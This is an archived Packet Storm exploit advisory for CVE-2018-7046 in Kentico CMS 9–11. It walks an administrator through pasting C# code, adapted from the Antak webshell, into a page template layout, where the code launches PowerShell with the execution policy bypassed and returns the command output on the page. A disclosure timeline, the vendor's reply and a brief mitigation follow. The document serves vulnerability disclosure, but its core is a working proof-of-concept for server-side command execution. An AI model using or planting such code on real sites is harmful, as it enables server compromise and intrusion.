exploit the possibilities

Kentico CMS 11 Arbitrary Code Execution

Kentico CMS 11 Arbitrary Code Execution
Posted Feb 19, 2018
Authored by Keerati T.

Kentico CMS versions 9 through 11 suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2018-7046
MD5 | 8f9a02fa5a2bdcf8d8bbc0c276ac0f8c

Kentico CMS 11 Arbitrary Code Execution

Change Mirror Download
# Exploit Title: Kentico CMS version 9 through 11 - Arbitrary Code Execution
# Date: 17-02-2018
# Software Link: https://www.kentico.com
# Exploit Author: Keerati T.
# CVE: CVE-2018-7046
# Category: webapps

1. Description

Kentico is the only fully integrated ASP.NET CMS, E-commerce, and Online Marketing platform that allows you to create cutting-edge websites and optimize your digital customers experiences fully across multiple channels. Kentico saves you time and resources so you can accomplish more. (Copy from Kentico homepage.)

2. Proof of Concept

In case of no product to install you can request Hosted Trial at https://www.kentico.com/download-demo/hosted-trial (Vendor message: Hosted trials are virtual applications running isolated and are limited by application pool permission set on server level so they should be safe as well.)

2.1 Log in as administrator.
2.2 Go to page.
2.3 At "Edit" on left panel, select any page under site.
2.4 Click "Template" tab locate on top right panel.
2.5 Under "Template" tab, select "Edit template properties".
2.6 Select "Layout" on popped "Template".
2.7 Fill the following c# code into text box. (modified from https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx)
================================
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="Microsoft.VisualBasic" %>
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "powershell.exe";
psi.Arguments = "-noninteractive -executionpolicy bypass ipconfig";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
Response.Write(s);
stmrdr.Close();
================================
2.8 Click "Save" and see the response of issued OS commands.

3. Timeline

3.1 Discovery and report - 14 Feb 2018.
3.2 Vendor response - 14 Feb 2018.
(This is actually intended functinality and our CMS allows authenticated users to edit and update ascx code layout. However this user has to be authentication and has to have permissions for these actions in our administration interface.
)
3.3 CVE ID was assigned - 15 Feb 2018.
3.4 Public - 17 Feb 2018.

4. Solution
Restricting the permission to allow only authorized user to edit ascot code layout.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    2 Files
  • 18
    Feb 18th
    27 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close